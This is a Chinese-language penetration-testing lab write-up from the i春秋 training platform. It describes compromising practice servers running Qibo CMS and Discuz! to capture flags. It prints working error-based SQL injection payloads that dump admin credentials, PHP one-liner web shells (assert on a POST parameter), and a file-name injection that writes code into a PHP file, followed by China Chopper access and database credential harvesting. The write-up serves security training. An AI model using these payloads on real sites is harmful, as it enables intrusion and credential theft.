【i春秋】渗透测试入门 —— 渗透测试笔记
0x00 前言
本题算是一道较为综合的渗透题,要求对两个服务器系统进行渗透,第一个是基于齐博 CMS 的信息资讯平台 http://www.test.ichunqiu
,第二个是基于 Discuz! 的论坛社区 http://bbs.test.ichunqiu
。这两个 CMS 同样能在网上找到许多漏洞,常用作渗透测试的练习靶机。
根据提示,第 1 题要求找到咨询平台的管理员账号密码;第 2 题需要登录服务器后台,并插入木马,再用中国菜刀连接,继而找到在管理员桌面上的 flag 文件;第 3 题要求在论坛社区的数据库中找到 admin 账户的 salt
值。
0x01 获取 www.test.ichunqiu 后台登录密码
利用 SQL 报错注入是获取管理员账号密码的常见方法。在浏览器搜索齐博 CMS 的可利用漏洞,其中发现了一个 SQL 报错注入漏洞,在 /member/special.php
中的 $TB_pre
变量未初始化,未作过滤,且直接与代码进行拼接,注入发生后可在报错信息中看到管理员的账号密码。详情可参考:
下面打开 Firefox 浏览器,根据漏洞说明先任意注册一个账号:
登录后点击 会员中心 -> 专题管理 -> 创建专题,任意创建一个专题:
点击专题名称,在弹出的专题页面中查看其 URL,并记录下 id
值(此处 id=27
):
接下来访问 http://www.test.ichunqiu/member/special.php
,并打开 HackBar 工具,按照漏洞报告中的格式填写好 URL 和请求数据。URL 的查询字符串填入 job=show_BBSiframe&id=27&type=all
(注意 id
值要等于上述专题 ID),请求数据填入 SQL 报错注入的 payload:
小贴士:为了方便使用 HackBar,可在浏览器右上角点击 菜单 -> 定制,将 HackBar 拖到工具栏中。
从报错信息中得知管理员账号为 admin
,密码的哈希值只有 26 位,因此修改一下 payload 的输出值,再次注入,便可看到完整的密码哈希值为 b10a9a82cf828627be682033e6c5878c
:
以上 payload 在漏洞报告的基础上稍作修改,否则输出不了完整的密码哈希。
关于 SQL 报错注入的可利用函数较多,本题选用了 extractvalue()
函数:
1 | TB_pre=qb_members where 1 and extractvalue(1,concat(0,(select concat(0x7e,username,password) from qb_members limit 1)))-- a |
也可以选用 updatexml()
函数:
1 | TB_pre=qb_members where 1 and updatexml(1,concat(0,(select concat(0x7e,username,password) from qb_members limit 1)),0)-- a |
以下是在倾旋的公开课中总结出来的 MySQL 数据库常用十大报错函数,建议去官方文档查阅每个函数的用法,多看多练,熟能生巧:
最后利用 MD5解密工具 对密码哈希值解密,得到密码明文为 whoami!@#123
:
0x02 获取目标服务器 1 管理员桌面的 FLAG 文件信息
获取了管理员权限,相当于完成了 getshell 的一半。随便搜搜可发现许多用于齐博 CMS getshell 的漏洞,下面选取两个文件写入漏洞进行复现。
后台频道页版权信息写入木马
第一个漏洞涉及两个操作:一是在网页底部版权信息中写入一句话木马,二是创建频道静态化页面。漏洞报告中未给出审计过程,本人对此组合拳甚是佩服,详情可参考:
先搜索到齐博 CMS 的默认登录后台为 /admin/index.php
,遂尝试访问,发现后台路径确实没修改。再用账号 admin
与密码 whoami!@#123
登录后台:
依次点击 系统功能 -> 全局参数设置,在 网页底部版权信息 中写入一句话木马 <?php @assert($_POST['cmd']); ?>
后保存设置:
这里为什么不用传统的一句话木马 <?php @eval($_POST['cmd']); ?>
呢?因为 CMS 对 eval()
函数进行了过滤,会将其转变成 eva l()
:
所以此处能用 assert()
函数写入木马,也体现了 CMS 的写入过滤不完全。接着点击 系统功能 -> 频道独立页管理 -> 添加频道页,在 频道页名字 处填上任意字符(此处以 sqli
为例),在 静态文件名 处必须填上 .php
文件名,否则菜刀连接不上(此处以 sqli.php
为例):
点击 提交 后,可在 频道管理页 中看到所添加的频道页,接下来一定要点击 静态化 按钮,才能正常访问 http://www.test.ichunqiu/sqli.php
,否则只会弹出 404 页面:
在确认能够正常 sqli.php
页面后,准备 添加SHELL 进行菜刀连接:
成功连接后,在管理员桌面上看到了 flag 文件:
打开 flag 文件即可获得 key{636bb37e}
,因此第 2 题答案就是 636bb37e
:
前台栏目投稿自定义文件名写入木马
第二个漏洞是在前台栏目投稿设置信息中的 自定义文件名 输入框内触发,因此需要“自定义内容页文件名”的权限,不过我们已经有了管理员权限,故不必担心此问题。详情可参考:
首先用账号 admin
与密码 whoami!@#123
在前台登录,并点击 !我要投稿:
任选一栏目,在 我要投稿 处点击 发表(此处以社会新闻栏目为例):
先在 其他设置 标签页下的 自定义文件名 输入框中写入木马 x';@assert($_POST['cmd']);//y.htm
:
其中 x';
是为了闭合代码中的左单引号,//y.htm
是为了使整体文件名有静态网页的后缀,并且注释掉后面的代码。注意此处不能用 eval()
函数构造木马,与前文一样会被过滤。
再回到 基本信息 标签页下,将带 (*)
的必填信息填好后提交:
提交后访问 http://www.test.ichunqiu/data/showhtmltype.php
,成功看到报错信息:
接下来 添加SHELL 进行菜刀连接:
成功连接后,可在 /data/showhtmltype.php
源码中看到所添加的木马,印证了漏洞的存在:
查看管理员桌面上的 flag 文件与前文一致,此处不再赘述。
0x03 获取 bbs.test.ichunqiu 数据库中 admin 的 salt 值
第 3 题终于引入了 http://bbs.test.ichunqiu
论坛社区…的数据库了。出题人好像为了方便我们直接进行本题,特意在主站根目录下放了木马 /2.php
,免去了上题插入木马的过程:
所以下次想直接复现第 3 题,用菜刀连上此木马即可:
我们在根目录下可看到 /dedecms_bak
的文件夹,进一步搜索到 DEDECMS 的默认数据库配置文件为 /data/common.inc.php
,打开一看,果不其然:
但是主机地址显示为 172.16.12.3
,跟 http://bbs.test.ichunqiu
好像没什么关系吧?其实不然,打开主机终端,用 nslookup
命令可得到论坛的 IP 地址就是 172.16.12.3
,顺便可看到主站的 IP 地址为 172.16.12.2
:
注意到数据库配置信息中是根用户权限,因此若能连上 DEDECMS 在 172.16.12.3
上的数据库,那么 Discuz! 在 172.16.12.3
上的数据库也能被访问到!于是,在菜刀 添加SHELL 的配置中填入数据库信息(THUPL):
小贴士:如何在菜刀中填入数据库配置信息请参考 黑站利器-中国菜刀的功能介绍和使用方法
1 | <T>mysql</T> |
保存设置后右键条目,选择 数据库管理,成功连接后可见服务器端的数据库管理界面:
又经过一番搜索,得知 ultrax
正是 Discuz! 的数据库,而 dedecms
显而易见是 DEDECMS 的。我们的目标应该是 ultrax
数据库中某个表的 salt
字段,这里必须要介绍一下 MySQL 自带的 information_schema
数据库,它提供了对元数据的访问方式,是 MySQL 中的百科全书,其中在 information_schema.COLUMNS
表中记录了本数据库所有字段的相关信息。详情可参考:
因此,只要输入一条简单的 SQL 语句,点击 执行,有关 salt
字段的所有信息将会呈现:
1 | SELECT * FROM COLUMNS WHERE COLUMN_NAME = 'salt' |
最终我们在 ultrax
数据库的 pre_ucenter_members
表中发现了 salt
字段的值为 9b47b6
:
到此为止,本次渗透测试的指定任务已达成。
意犹未尽的各位看官可接着往下看,既然我们把 172.16.12.3
上的数据库给爆了,那也趁此机会,不妨把 172.16.12.2
上的数据库也给爆了。经过搜索后发现,齐博 CMS 的默认数据库配置文件为 /data/mysql_config.php
:
然后在菜刀 添加SHELL 的配置中修改数据库信息:
成功连接后,在 qibov7
数据库的 qb_members
表中发现第 1 题中管理员的账号与密码哈希值:
至此,本题两个服务器中的数据库系统已被我们打穿。还想继续深挖的朋友,建议去尝试获得论坛社区的 webshell,并通过提权获得两个服务器系统的最高权限,达到完全控制的最终目的。
0x04 小结
本题虽然有两台目标服务器,但万变不离其宗,熟练之后自然得心应手。在此过程中,我同样也受益匪浅,细心的读者会发现全文多次出现『搜索』二字,而渗透测试的核心正是收集目标系统的信息,挖掘其漏洞并加以利用。
小贴士:关于本系列渗透的练习方法,建议先自己动手做,用尽你毕生所学,实在卡住无法继续时(比如规定在半小时内),再翻看 writeup,把当前的困难点看懂后就不要往下看了。接着按上述流程一直往下做,直至完成渗透目标。
以上是笔者之拙见,不足之处还望各位指出,有其他更猥琐的渗透的思路欢迎前来交流。最后向以下参考 writeup 的作者表示致谢!